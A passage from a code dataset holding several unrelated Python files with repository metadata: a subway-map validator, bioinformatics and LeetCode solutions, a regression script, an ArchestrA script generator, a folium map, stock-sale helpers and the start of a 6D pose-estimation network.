!= 'public_transport' or\n                    el['tags'].get('public_transport') != 'stop_area'):\n                continue\n            if k in self.stations:\n                stoparea = self.stations[k][0]\n                transfer.add(stoparea)\n                if stoparea.transfer:\n                    self.error('Stop area {} belongs to multiple interchanges'.format(k))\n                stoparea.transfer = el_id(sag)\n        if len(transfer) > 1:\n            self.transfers.append(transfer)\n\n    def extract_routes(self):\n        # Extract stations\n        processed_stop_areas = set()\n        for el in self.elements.values():\n            if Station.is_station(el, self.modes):\n                # See PR https://github.com/mapsme/subways/pull/98 \n                if el['type'] == 'relation' and el['tags'].get('type') != 'multipolygon':\n                    self.error(\"A railway station cannot be a relation of type '{}'\".format(\n                                      el['tags'].get('type')), el)\n                    continue\n                st = Station(el, self)\n                self.station_ids.add(st.id)\n                if st.id in self.stop_areas:\n                    stations = []\n                    for sa in self.stop_areas[st.id]:\n                        stations.append(StopArea(st, self, sa))\n                else:\n                    stations = [StopArea(st, self)]\n\n                for station in stations:\n                    if station.id not in processed_stop_areas:\n                        processed_stop_areas.add(station.id)\n                        for st_el in station.get_elements():\n                            self.stations[st_el].append(station)\n\n                        # Check that stops and platforms belong to single stop_area\n                        for sp in station.stops | station.platforms:\n                            if sp in self.stops_and_platforms:\n                                self.warn('A stop or a platform {} belongs to multiple '\n                                          'stations, might be correct'.format(sp))\n                            else:\n                                self.stops_and_platforms.add(sp)\n\n        # Extract routes\n        for el in self.elements.values():\n            if Route.is_route(el, self.modes):\n                if el['tags'].get('access') in ('no', 'private'):\n                    continue\n                route_id = el_id(el)\n                master = self.masters.get(route_id, None)\n                if self.networks:\n                    network = Route.get_network(el)\n                    if master:\n                        master_network = Route.get_network(master)\n                    else:\n                        master_network = None\n                    if network not in self.networks and master_network not in self.networks:\n                        continue\n\n                route = Route(el, self, master)\n                k = el_id(master) if master else route.ref\n                if k not in self.routes:\n                    self.routes[k] = RouteMaster(master)\n                self.routes[k].add(route, self)\n\n                # Sometimes adding a route to a newly initialized RouteMaster can fail\n                if len(self.routes[k]) == 0:\n                    del self.routes[k]\n\n            # And while we're iterating over relations, find interchanges\n            if (el['type'] == 'relation' and\n                    el.get('tags', {}).get('public_transport', None) == 'stop_area_group'):\n                self.make_transfer(el)\n\n        # Filter transfers, leaving only stations that belong to routes\n        used_stop_areas = set()\n        for rmaster in self.routes.values():\n            for route in rmaster:\n                used_stop_areas.update([s.stoparea for s in route.stops])\n        new_transfers = []\n        for transfer in self.transfers:\n            new_tr = [s for s in transfer if s in used_stop_areas]\n            if len(new_tr) > 1:\n                new_transfers.append(new_tr)\n        self.transfers = new_transfers\n\n    def __iter__(self):\n        return iter(self.routes.values())\n\n    def is_good(self):\n        return len(self.errors) == 0\n\n    def get_validation_result(self):\n        result = {\n            'name': self.name,\n            'country': self.country,\n            'continent': self.continent,\n            'stations_found': getattr(self, 'found_stations', 0),\n            'transfers_found': getattr(self, 'found_interchanges', 0),\n            'unused_entrances': getattr(self, 'unused_entrances', 0),\n            'networks': getattr(self, 'found_networks', 0)\n        }\n        if not self.overground:\n            result.update({\n                'subwayl_expected': self.num_lines,\n                'lightrl_expected': self.num_light_lines,\n                'subwayl_found': getattr(self, 'found_lines', 0),\n                'lightrl_found': getattr(self, 'found_light_lines', 0),\n                'stations_expected': self.num_stations,\n                'transfers_expected': self.num_interchanges,\n            })\n        else:\n            result.update({\n                'stations_expected': 0,\n                'transfers_expected': 0,\n                'busl_expected': self.num_bus_lines,\n                'trolleybusl_expected': self.num_trolleybus_lines,\n                'traml_expected': self.num_tram_lines,\n                'otherl_expected': self.num_other_lines,\n                'busl_found': getattr(self, 'found_bus_lines', 0),\n                'trolleybusl_found': getattr(self, 'found_trolleybus_lines', 0),\n                'traml_found': getattr(self, 'found_tram_lines', 0),\n                'otherl_found': getattr(self, 'found_other_lines', 0)\n            })\n        result['warnings'] = self.warnings\n        result['errors'] = self.errors\n        return result\n\n    def count_unused_entrances(self):\n        global used_entrances\n        stop_areas = set()\n        for el in self.elements.values():\n            if (el['type'] == 'relation' and 'tags' in el and\n                    el['tags'].get('public_transport') == 'stop_area' and\n                    'members' in el):\n                stop_areas.update([el_id(m) for m in el['members']])\n        unused = []\n        not_in_sa = []\n        for el in self.elements.values():\n            if (el['type'] == 'node' and 'tags' in el and\n                    el['tags'].get('railway') == 'subway_entrance'):\n                i = el_id(el)\n                if i in self.stations:\n                    used_entrances.add(i)\n                if i not in stop_areas:\n                    not_in_sa.append(i)\n                    if i not in self.stations:\n                        unused.append(i)\n        self.unused_entrances = len(unused)\n        self.entrances_not_in_stop_areas = len(not_in_sa)\n        if unused:\n            self.warn('Found {} entrances not used in routes or stop_areas: {}'.format(\n                len(unused), format_elid_list(unused)))\n        if not_in_sa:\n            self.warn('{} subway entrances are not in stop_area relations: {}'.format(\n                len(not_in_sa), format_elid_list(not_in_sa)))\n\n    def check_return_routes(self, rmaster):\n        variants = {}\n        have_return = set()\n        for variant in rmaster:\n            if len(variant) < 2:\n                continue\n            # Using transfer ids because a train can arrive at different stations within a transfer\n            # But disregard transfer that may give an impression of a circular route\n            # (for example, Simonis / Elisabeth station and route 2 in Brussels)\n            if variant[0].stoparea.transfer == variant[-1].stoparea.transfer:\n                t = (variant[0].stoparea.id, variant[-1].stoparea.id)\n            else:\n                t = (variant[0].stoparea.transfer or variant[0].stoparea.id,\n                     variant[-1].stoparea.transfer or variant[-1].stoparea.id)\n            if t in variants:\n                continue\n            variants[t] = variant.element\n            tr = (t[1], t[0])\n            if tr in variants:\n                have_return.add(t)\n                have_return.add(tr)\n\n        if len(variants) == 0:\n            self.error('An empty route master {}. Please set construction:route '\n                       'if it is under construction'.format(rmaster.id))\n        elif len(variants) == 1:\n            self.error_if(not rmaster.best.is_circular, 'Only one route in route_master. '\n                          'Please check if it needs a return route', rmaster.best.element)\n        else:\n            for t, rel in variants.items():\n                if t not in have_return:\n                    self.warn('Route does not have a return direction', rel)\n\n    def validate_lines(self):\n        self.found_light_lines = len([x for x in self.routes.values() if x.mode != 'subway'])\n        self.found_lines = len(self.routes) - self.found_light_lines\n        if self.found_lines != self.num_lines:\n            self.error('Found {} subway lines, expected {}'.format(\n                self.found_lines, self.num_lines))\n        if self.found_light_lines != self.num_light_lines:\n            self.error('Found {} light rail lines, expected {}'.format(\n                self.found_light_lines, self.num_light_lines))\n\n    def validate_overground_lines(self):\n        self.found_tram_lines = len([x for x in self.routes.values() if x.mode == 'tram'])\n        self.found_bus_lines = len([x for x in self.routes.values() if x.mode == 'bus'])\n        self.found_trolleybus_lines = len([x for x in self.routes.values()\n                                           if x.mode == 'trolleybus'])\n        self.found_other_lines = len([x for x in self.routes.values()\n                                      if x.mode not in ('bus', 'trolleybus', 'tram')])\n        if self.found_tram_lines != self.num_tram_lines:\n            self.error_if(self.found_tram_lines == 0, 'Found {} tram lines, expected {}'.format(\n                self.found_tram_lines, self.num_tram_lines))\n\n    def validate(self):\n        networks = Counter()\n        self.found_stations = 0\n        unused_stations = set(self.station_ids)\n        for rmaster in self.routes.values():\n            networks[str(rmaster.network)] += 1\n            if not self.overground:\n                self.check_return_routes(rmaster)\n            route_stations = set()\n            for sa in rmaster.stop_areas():\n                route_stations.add(sa.transfer or sa.id)\n                unused_stations.discard(sa.station.id)\n            self.found_stations += len(route_stations)\n        if unused_stations:\n            self.unused_stations = len(unused_stations)\n            self.warn('{} unused stations: {}'.format(\n                self.unused_stations, format_elid_list(unused_stations)))\n        self.count_unused_entrances()\n        self.found_interchanges = len(self.transfers)\n\n        if self.overground:\n            self.validate_overground_lines()\n        else:\n            self.validate_lines()\n\n            if self.found_stations != self.num_stations:\n                msg = 'Found {} stations in routes, expected {}'.format(\n                    self.found_stations, self.num_stations)\n                self.error_if(not (0 <=\n                                   (self.num_stations - self.found_stations) / self.num_stations <=\n                                   ALLOWED_STATIONS_MISMATCH), msg)\n\n            if self.found_interchanges != self.num_interchanges:\n                msg = 'Found {} interchanges, expected {}'.format(\n                    self.found_interchanges, self.num_interchanges)\n                self.error_if(self.num_interchanges != 0 and not\n                              ((self.num_interchanges - self.found_interchanges) /\n                               self.num_interchanges <= ALLOWED_TRANSFERS_MISMATCH), msg)\n\n        self.found_networks = len(networks)\n        if len(networks) > max(1, len(self.networks)):\n            n_str = '; '.join(['{} ({})'.format(k, v) for k, v in networks.items()])\n            self.warn('More than one network: {}'.format(n_str))\n\n\ndef find_transfers(elements, cities):\n    transfers = []\n    stop_area_groups = []\n    for el in elements:\n        if (el['type'] == 'relation' and 'members' in el and\n                el.get('tags', {}).get('public_transport') == 'stop_area_group'):\n            stop_area_groups.append(el)\n\n    # StopArea.id uniquely identifies a StopArea.\n    # We must ensure StopArea uniqueness since one stop_area relation may result in\n    # several StopArea instances at inter-city interchanges.\n    stop_area_ids = defaultdict(set)  # el_id -> set of StopArea.id\n    stop_area_objects = dict()  # StopArea.id -> one of StopArea instances\n    for city in cities:\n        for el, st in city.stations.items():\n            stop_area_ids[el].update(sa.id for sa in st)\n            stop_area_objects.update((sa.id, sa) for sa in st)\n\n    for sag in stop_area_groups:\n        transfer = set()\n        for m in sag['members']:\n            k = el_id(m)\n            if k not in stop_area_ids:\n                continue\n            transfer.update(stop_area_objects[sa_id] for sa_id in stop_area_ids[k])\n        if len(transfer) > 1:\n            transfers.append(transfer)\n    return transfers\n\n\ndef get_unused_entrances_geojson(elements):\n    global used_entrances\n    features = []\n    for el in elements:\n        if (el['type'] == 'node' and 'tags' in el and\n                el['tags'].get('railway') == 'subway_entrance'):\n            if el_id(el) not in used_entrances:\n                geometry = {'type': 'Point', 'coordinates': el_center(el)}\n                properties = {k: v for k, v in el['tags'].items()\n                              if k not in ('railway', 'entrance')}\n                features.append({'type': 'Feature', 'geometry': geometry, 'properties': properties})\n    return {'type': 'FeatureCollection', 'features': features}\n\n\ndef download_cities(overground=False):\n    url = 'https://docs.google.com/spreadsheets/d/{}/export?format=csv{}'.format(\n        SPREADSHEET_ID, '&gid=1881416409' if overground else '')\n    response = urllib.request.urlopen(url)\n    if response.getcode() != 200:\n        raise Exception('Failed to download cities spreadsheet: HTTP {}'.format(response.getcode()))\n    data = response.read().decode('utf-8')\n    r = csv.reader(data.splitlines())\n    next(r)  # skipping the header\n    names = set()\n    cities = []\n    for row in r:\n        if len(row) > 8 and row[8]:\n            cities.append(City(row, overground))\n            if row[0].strip() in names:\n                logging.warning('Duplicate city name in the google spreadsheet: %s', row[0])\n            names.add(row[0].strip())\n    return cities\n","repo_name":"mapsme/subways","sub_path":"subway_structure.py","file_name":"subway_structure.py","file_ext":"py","file_size_in_byte":64638,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"60"}
+{"seq_id":"23781570627","text":"'''\nFind the Most Frequent Words with Mismatches in a String\nhttp://rosalind.info/problems/ba1i/\n\nGiven: A string Text as well as integers k and d.\n\nReturn: All most frequent k-mers with up to d mismatches in Text.\n'''\nfrom collections import Counter\n\nfrom ba1h import sc_hamming_distance\n\nfilename = 'rosalind_ba1i.txt'\n\ndef kmers_with_mismatches(text, k, d):\n\tc = Counter([text[i:i+k] for i in range(len(text)-k+1)])\n\tmismatches = {kmer: c.get(kmer, 0) for kmer in lex_kmers(['A', 'C', 'G', 'T'], k)}\n\tkmers = list(mismatches.keys())\n\tmax_freq = 0\n\tfor i in range(len(kmers) - 1):\n\t\tfor j in range(i + 1, len(kmers)):\n\t\t\tif sc_hamming_distance(kmers[i], kmers[j], d):\n\t\t\t\tmismatches[kmers[i]] += c[kmers[j]]\n\t\t\t\tmismatches[kmers[j]] += c[kmers[i]]\n\t\t\t\tmax_freq = max(max_freq, mismatches[kmers[i]], mismatches[kmers[j]])\n\n\treturn [k for k, v in mismatches.items() if v == max_freq]\n\n# generate all kmers--copied from bioinformatics_stronghold/lexf\ndef lex_kmers(alphabet, n):\n\tstrings = []\n\n\tdef helper(curr):\n\t\tif len(curr) == n:\n\t\t\tstrings.append(curr)\n\t\telse:\n\t\t\tfor char in alphabet:\n\t\t\t\thelper(curr + char)\n\n\thelper('')\t\t\n\treturn strings\n\ndef main():\n\twith open(filename) as f:\n\t\ttext = f.readline().strip()\n\t\tk, d = list(map(int, f.readline().strip().split()))\n\tprint(*kmers_with_mismatches(text, k, d))\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"jproddy/rosalind","sub_path":"bioinformatics_textbook_track/ba1i.py","file_name":"ba1i.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31904240752","text":"import numpy as np\r\nimport plotly.express as px\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.linear_model import LinearRegression  \r\nfrom sklearn.preprocessing import PolynomialFeatures \r\nfrom sklearn.metrics import mean_squared_error\r\n\r\n\r\npath = 'D:/Python/Quantum Test/Test Tesk_Internship/Quantum internship/'\r\ndata = pd.read_csv(path + 'internship_train.csv')\r\n\r\ny = data.target\r\nX = data.drop('target', axis=1) # cutof  column with target label\r\n\r\n\r\nnb_degree = 2\r\npolynomial_features = PolynomialFeatures(degree = nb_degree) \r\nX_TRANSF = polynomial_features.fit_transform(X) #change features for polinomial \r\n\r\nX_train, X_test, y_train, y_test = train_test_split(X_TRANSF, y, test_size=0.2)\r\n\r\nmodel = LinearRegression() #define and train a model\r\nmodel.fit(X_train, y_train)\r\n\r\n#----------------------------------------------------------------------------------------#\r\nY_PRED = model.predict(X_test)\r\nrmse = np.sqrt(mean_squared_error(y_test,Y_PRED))\r\n\r\nprint('RMSE: ', rmse)\r\n\r\n#----------------------------------------------------------------------------------------#\r\ndata_pr = pd.read_csv(path + 'internship_hidden_test.csv')\r\n\r\nX_target_features = polynomial_features.fit_transform(data_pr)\r\ny_target_pred = model.predict(X_target_features)\r\n\r\ntarget_pred = np.asarray(y_target_pred)\r\n\r\nplt.plot(target_pred,label='target_pred',color=\"red\",alpha=0.5)\r\nplt.title(\"taget prediction \")\r\n\r\n\r\nplt.legend ()\r\n\r\nplt.xlim(0,  200)\r\nplt.show()  \r\ndata_pr\r\n\r\ndata_pr[\"target\"] = target_pred\r\ndata_pr.to_csv(path+'internship_hidden_test_with_target_predicted.csv')\r\n\r\n\r\narr = np.asarray(y_test)\r\nplt.plot(arr,label='y_test',color=\"red\",alpha=0.5)\r\nplt.plot( Y_PRED,label='Y_PRED',color=\"blue\",alpha=0.5)\r\nplt.title(\"taget test pred comparison \")\r\nplt.legend ()\r\nplt.xlim(0,  200)\r\nplt.show()  \r\n","repo_name":"MaksMaib/quantum_test","sub_path":"task3/3_taks_regression.py","file_name":"3_taks_regression.py","file_ext":"py","file_size_in_byte":1874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"40988026502","text":"class Solution:\n    def eraseOverlapIntervals(self, intervals: List[List[int]]) -> int:\n        # Try to overlap as many as possible\n        \n        intervals.sort(key = lambda x: x[0])\n\n\n        # count the number of non-overlapping intervals\n        count = 1\n\n\n        for i in range(1, len(intervals)):\n            # non-overlap \n            # notice >=. For this question, [1,2] and [2, 3] are defined\n            # to be non-overlapping\n            if intervals[i][0] >= intervals[i - 1][1]:\n                count += 1\n            # overlap\n            else:\n                \n                intervals[i][1] = min(intervals[i - 1][1], intervals[i][1])\n\n        return len(intervals) - count \n        \n# Time Complexity: O(nlog(n))\n# Space Complexity: O(1)","repo_name":"Logenleedev/--Data-Structure-and-Algorithm","sub_path":"foundation/Greedy/LeetCode_Solution/Leetcode_435_non-overlapping_array.py","file_name":"Leetcode_435_non-overlapping_array.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39445569747","text":"\"\"\"\nCreated on 15 Oct 2014\n\nModules for use with Wonderware Archestra, various things to make the job easier.\n\nUSAGE:\n    %prog in_file.txt out_file.txt\n@author: Roan Fourie\n@mail: roanfourie@gmail.com\n\"\"\"\nimport sys\n\ndef create_script_tagnames(in_file, out_file):\n    \"\"\"\n    Created on 15 Oct 2014\n    Created for use with Wonderware Archestra to create the if statements used in the scrAssignIO scripts.\n    It takes a text file containing a list of Field Attributes and creates a new text file with the if statements.\n    \n    USAGE:\n        %prog in_file.txt out_file.txt\n    @author: Roan Fourie\n    @mail: roanfourie@gmail.com\n    \"\"\"\n    return_data = 0\n    str_data = ''\n    write_data = ''\n    #current_row = 0\n    try:\n        with open(out_file, 'at') as fo:\n            fo.seek(0,2)\n            write_data = \"\"\"'Wait two execution counts to make sure script executes\\nIf Me.scrAssignIO.ExecutionCnt > 2 Then\\n\n'Declare variables\\n\n\\tDIM Datasource AS STRING;\n\\tDIM AliasDB AS INDIRECT;\n\"\"\"\n            fo.write(write_data)\n            #print(write_data)\n        fo.close()\n        with open(in_file, 'rt') as fi:\n            for line in fi:\n                #str_data = fi.readline()\n                str_data = line\n                with open(out_file, 'at') as fo:\n                    fo.seek(0,2)\n                    write_data = '\\tDIM '+ str_data.rstrip('\\n') + '_Exist AS INTEGER;\\n'\n                    fo.write(write_data)\n                    #print(write_data)\n                fo.close()\n                #print(line)\n                #print(str_data)\n        with open(out_file, 'at') as fo:\n            fo.seek(0,2)\n            write_data = \"\"\"\\n\\n'Datasource is the input/output source you want to allocate to your field attribute\n\\tDatasource = Me.PLCPath + \".\" + Me.Tagname;\\n\n'Create the alias list that is in the Device Integration object using the PLCPath uda to make it more dynamic\n\\tAliasDB.bindto(Me.PLCPath + \".AliasDataBase\");\n\\t'The exist variables will return an integer value when the string exists in the alias database in the DI object\n\\t'A string comparison is done between the Alias DB list and the Attribute to see if the attribute exists in the Alias DB\n\\t'The StringChar function looks at the ASCII value for a quote which seperates the alias tags from each other in the aliasDB\\n\n\"\"\"\n            fo.write(write_data)\n            #print(write_data)\n        with open(in_file, 'rt') as fi:\n            for line in fi:\n                #str_data = fi.readline()\n                str_data = line\n                with open(out_file, 'at') as fo:\n                    fo.seek(0,2)\n                    write_data = '\\t' + str_data.rstrip('\\n') + '_Exist = StringInString(AliasDB, (StringChar(34) + Me.TagName + \".'+ str_data.rstrip('\\n') +'\" + StringChar(34)),1,0);\\n'\n                    fo.write(write_data)\n                    #print(write_data)\n                fo.close()\n                #print(line)\n        with open(out_file, 'at') as fo:\n            fo.seek(0,2)\n            write_data = '\\n\\n'+\"\\t'\"+ 'The value is then assigned to the DIN Field Attribute input source or unassigned if it is not in the AliasDB\\n'\n            fo.write(write_data)\n            #print(write_data)\n        with open(in_file, 'rt') as fi:\n            for line in fi:\n                #str_data = fi.readline()\n                str_data = line\n                with open(out_file, 'at') as fo:\n                    fo.seek(0,2)\n                    write_data = '\\tIf %s_Exist > 0 Then\\n\\t\\tMe.%s.Input.InputSource = Datasource + \".%s\";\\n\\tElse\\n\\t\\tMe.%s.Input.InputSource = \"---\";\\n\\tEndIf;\\n\\n' % (str_data.rstrip('\\n'), str_data.rstrip('\\n'), str_data.rstrip('\\n'), str_data.rstrip('\\n'))\n                    fo.write(write_data)\n                    #print(write_data)\n                fo.close()\n                #print(line)\n        with open(out_file, 'at') as fo:\n            fo.seek(0,2)\n            write_data = \"\"\"\\n'The script is then finished by setting the trigger bit to true and it will stop executing\n    Me.AssignIOCmd = True;\\n\nEndIf;\\n\n'A Log Message flag is added to see if the script executed in the SMC - This can be excluded and is for troubleshooting\n'LogMessage (Me.Tagname + \"Finished\");\\n\n\"\"\"\n            fo.write(write_data)\n            #print(write_data)\n        fo.close()\n    except IOError:\n        print(\"Error in reading/writing file.\")\n        return_data = 2\n    else:\n        print('Operation completed successfully.')\n        return_data = 1\n    finally:\n        fi.close()\n        #fo.close()\n        print(\"done\")\n    return return_data\n\ncreate_script_tagnames(sys.argv[1], sys.argv[2])","repo_name":"RoanFourie/ArchestrA-Tools","sub_path":"aaTools/aaCreateScript.py","file_name":"aaCreateScript.py","file_ext":"py","file_size_in_byte":4639,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"60"}
+{"seq_id":"33496013288","text":"import folium\nimport pandas\nimport branca\ndef colour_fixing(elevation):\n    if elevation<1000:\n        return 'green'\n    elif elevation>1000 and elevation<3000:\n        return 'orange'\n    else:\n        return 'red'\n\ndata=pandas.read_csv(\"Volcanoes.txt\")\nhtm = \"\"\"<h4>Volcano information:</h4>\nHeight: %s m\n\"\"\"\nmap = folium.Map(location=[48.7767982,-121.8109970], tiles=\"Stamen Terrain\")\nlat=list(data[\"LAT\"])\nlon=list(data[\"LON\"])\nelev=list(data[\"ELEV\"])\niframe = branca.element.IFrame(html=htm, width=500, height=300)\n\n\n\"\"\"fg=folium.FeatureGroup(name=\"My Map\")\"\"\"\nfgv=folium.FeatureGroup(name=\"Volcanoes\")\nfor x,y,z in zip(lat,lon,elev):\n    colour=colour_fixing(z)\n    fgv.add_child(folium.Marker(location=[x, y], popup=folium.Popup(iframe),icon=folium.Icon(color=colour)))\n\nfgp=folium.FeatureGroup(name='Population')\n\nfgp.add_child(folium.GeoJson(data=open(\"world.json\",'r',encoding='utf-8-sig').read(),\nstyle_function=lambda x: {'fillColor':'green' if x['properties']['POP2005']<10000000\nelse 'orange' if 10000000 <=x['properties']['POP2005']<20000000 else 'red'}))\n\nmap.add_child(fgv)\nmap.add_child(fgp)\nmap.add_child(folium.LayerControl())\nmap = map.save(\"map.html\")\n\n","repo_name":"deepakajay/Python-Basic-Projects","sub_path":"Mapping/map.py","file_name":"map.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"10812895013","text":"import copy\nimport decimal\nfrom collections import deque\n\ndecimal.getcontext().rounding = decimal.ROUND_HALF_UP\n\n\ndef adjust_stock_data(stock_queue, ssp_quantity_ratio, ssp_price_ratio):\n    for data in stock_queue:\n        data[\"quantity\"] *= ssp_quantity_ratio\n        data[\"price\"] *= ssp_price_ratio\n\n\ndef adjust_quantity(stock_queue, sold_quantity):\n    quantity_to_adjust = sold_quantity\n\n    for data in list(stock_queue):\n        quantity_after_abj = data[\"quantity\"] - quantity_to_adjust\n\n        if quantity_after_abj > 0:\n            data[\"quantity\"] = quantity_after_abj\n            break\n\n        stock_queue.popleft()\n        quantity_to_adjust -= data[\"quantity\"]\n\n\ndef get_stock_sales(stock_queue, sold_quantity):\n    quantity_to_adjust = sold_quantity\n\n    sold_queue = deque()\n    local_stock_queue = copy.deepcopy(stock_queue)\n    for item in list(local_stock_queue):\n        quantity_after_abj = item[\"quantity\"] - quantity_to_adjust\n\n        if quantity_after_abj > 0:\n            item[\"quantity\"] = item[\"quantity\"] - quantity_after_abj\n            sold_queue.append(item)\n            break\n\n        item = local_stock_queue.popleft()\n        sold_queue.append(item)\n        quantity_to_adjust -= item[\"quantity\"]\n\n    return sold_queue\n","repo_name":"scrool/insurrector","sub_path":"insurrector/calculators/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"23856971322","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom models.cnn.pspnet import PSPNet\nimport models.pytorch_utils as pt_utils\nfrom models.RandLA.RandLANet import Network as RandLANet\nimport einops\n\n\npsp_models = {\n    'resnet18': lambda: PSPNet(sizes=(1, 2, 3, 6), psp_size=512, deep_features_size=256, backend='resnet18'),\n    'resnet34': lambda: PSPNet(sizes=(1, 2, 3, 6), psp_size=512, deep_features_size=256, backend='resnet34'),\n    'resnet50': lambda: PSPNet(sizes=(1, 2, 3, 6), psp_size=2048, deep_features_size=1024, backend='resnet50'),\n}\n\n\nclass SyMFM6D(nn.Module):\n    def __init__(self, n_classes, n_pts, rndla_cfg, n_kps=8, multi_view=False, symmetry=False):\n        super().__init__()\n\n        # ######################## prepare stages#########################\n        self.n_cls = n_classes\n        self.n_pts = n_pts\n        self.n_kps = n_kps\n        self.multi_view = multi_view\n        self.views = 1 if not multi_view else 3\n        self.symmetry = symmetry\n        cnn = psp_models['resnet34'.lower()]()\n\n        rndla = RandLANet(rndla_cfg)\n\n        self.cnn_pre_stages = nn.Sequential(\n            cnn.feats.conv1,\n            cnn.feats.bn1, cnn.feats.relu,\n            cnn.feats.maxpool\n        )\n        self.rndla_pre_stages = rndla.fc0\n\n        # ####################### downsample stages#######################\n        self.cnn_ds_stages = nn.ModuleList([\n            cnn.feats.layer1,\n            cnn.feats.layer2,\n            nn.Sequential(cnn.feats.layer3, cnn.feats.layer4),\n            nn.Sequential(cnn.psp, cnn.drop_1)\n        ])\n        self.ds_sr = [4, 8, 8, 8]\n\n        self.rndla_ds_stages = rndla.dilated_res_blocks\n\n        self.ds_rgb_oc = [64, 128, 512, 1024]\n        self.ds_rndla_oc = [item * 2 for item in rndla_cfg.d_out]\n        self.ds_fuse_r2p_pre_layers = nn.ModuleList()\n        self.ds_fuse_r2p_fuse_layers = nn.ModuleList()\n        self.ds_fuse_p2r_pre_layers = nn.ModuleList()\n        self.ds_fuse_p2r_fuse_layers = nn.ModuleList()\n        self.ds_compress_r2p_layers = nn.ModuleList()\n\n        for i in range(4):\n            self.ds_fuse_r2p_pre_layers.append(\n                pt_utils.Conv2d(\n                    self.ds_rgb_oc[i], self.ds_rndla_oc[i], kernel_size=(1, 1),\n                    bn=True\n                )\n            )\n            self.ds_fuse_r2p_fuse_layers.append(\n                pt_utils.Conv2d(\n                    self.ds_rndla_oc[i]*2, self.ds_rndla_oc[i], kernel_size=(1, 1),\n                    bn=True\n                )\n            )\n\n            self.ds_fuse_p2r_pre_layers.append(\n                pt_utils.Conv2d(\n                    self.ds_rndla_oc[i], self.ds_rgb_oc[i], kernel_size=(1, 1),\n                    bn=True\n                )\n            )\n            self.ds_fuse_p2r_fuse_layers.append(\n                pt_utils.Conv2d(\n                    self.ds_rgb_oc[i]*2, self.ds_rgb_oc[i], kernel_size=(1, 1),\n                    bn=True\n                )\n            )\n            self.ds_compress_r2p_layers.append(\n                pt_utils.Conv2d(\n                    self.ds_rgb_oc[i], self.ds_rgb_oc[i], kernel_size=(1, 1),\n                    bn=True\n                )\n            )\n\n        # ###################### upsample stages #############################\n        self.cnn_up_stages = nn.ModuleList([\n            nn.Sequential(cnn.up_1, cnn.drop_2),\n            nn.Sequential(cnn.up_2, cnn.drop_2),\n            nn.Sequential(cnn.final),\n            nn.Sequential(cnn.up_3, cnn.final)\n        ])\n        self.up_rgb_oc = [256, 64, 64]\n        self.up_rndla_oc = []\n        for j in range(rndla_cfg.num_layers):\n            if j < 3:\n                self.up_rndla_oc.append(self.ds_rndla_oc[-j-2])\n            else:\n                self.up_rndla_oc.append(self.ds_rndla_oc[0])\n\n        self.rndla_up_stages = rndla.decoder_blocks\n\n        n_fuse_layer = 3\n        self.up_fuse_r2p_pre_layers = nn.ModuleList()\n        self.up_fuse_r2p_fuse_layers = nn.ModuleList()\n        self.up_fuse_p2r_pre_layers = nn.ModuleList()\n        self.up_fuse_p2r_fuse_layers = nn.ModuleList()\n        self.up_compress_r2p_layers = nn.ModuleList()\n\n        for i in range(n_fuse_layer):\n            self.up_fuse_r2p_pre_layers.append(\n                pt_utils.Conv2d(\n                    self.up_rgb_oc[i], self.up_rndla_oc[i], kernel_size=(1, 1),\n                    bn=True\n                )\n            )\n            self.up_fuse_r2p_fuse_layers.append(\n                pt_utils.Conv2d(\n                    self.up_rndla_oc[i]*2, self.up_rndla_oc[i], kernel_size=(1, 1),\n                    bn=True\n                )\n            )\n\n            self.up_fuse_p2r_pre_layers.append(\n                pt_utils.Conv2d(\n                    self.up_rndla_oc[i], self.up_rgb_oc[i], kernel_size=(1, 1),\n                    bn=True\n                )\n            )\n            self.up_fuse_p2r_fuse_layers.append(\n                pt_utils.Conv2d(\n                    self.up_rgb_oc[i]*2, self.up_rgb_oc[i], kernel_size=(1, 1),\n                    bn=True\n                )\n            )\n            self.up_compress_r2p_layers.append(\n                pt_utils.Conv2d(\n                    self.up_rgb_oc[i], self.up_rgb_oc[i], kernel_size=(1, 1),\n                    bn=True\n                )\n            )\n\n        # ####################### prediction headers #############################\n        # We use 3D keypoint prediction header for pose estimation following PVN3D\n        # You can use different prediction headers for different downstream tasks.\n\n        self.rgbd_seg_layer = (\n            pt_utils.Seq(self.up_rndla_oc[-1] + self.up_rgb_oc[-1])\n            .conv1d(128, bn=True, activation=nn.ReLU())\n            .conv1d(128, bn=True, activation=nn.ReLU())\n            .conv1d(128, bn=True, activation=nn.ReLU())\n            .conv1d(n_classes, activation=None)\n        )\n\n        self.ctr_ofst_layer = (\n            pt_utils.Seq(self.up_rndla_oc[-1]+self.up_rgb_oc[-1])\n            .conv1d(128, bn=True, activation=nn.ReLU())\n            .conv1d(128, bn=True, activation=nn.ReLU())\n            .conv1d(128, bn=True, activation=nn.ReLU())\n            .conv1d(3, activation=None)\n        )\n\n        self.kp_ofst_layer = (\n            pt_utils.Seq(self.up_rndla_oc[-1]+self.up_rgb_oc[-1])\n            .conv1d(128, bn=True, activation=nn.ReLU())\n            .conv1d(128, bn=True, activation=nn.ReLU())\n            .conv1d(128, bn=True, activation=nn.ReLU())\n            .conv1d(n_kps*3, activation=None)\n        )\n\n        if self.symmetry:\n            self.sym_kp_ofst_layer = (\n                pt_utils.Seq(self.up_rndla_oc[-1]+self.up_rgb_oc[-1])\n                .conv1d(128, bn=True, activation=nn.ReLU())\n                .conv1d(128, bn=True, activation=nn.ReLU())\n                .conv1d(128, bn=True, activation=nn.ReLU())\n                .conv1d(n_kps*3, activation=None)\n            )\n\n    @staticmethod\n    def gather_and_maxpool(feature, pool_idx):\n        \"\"\"\n        Gathers the features at 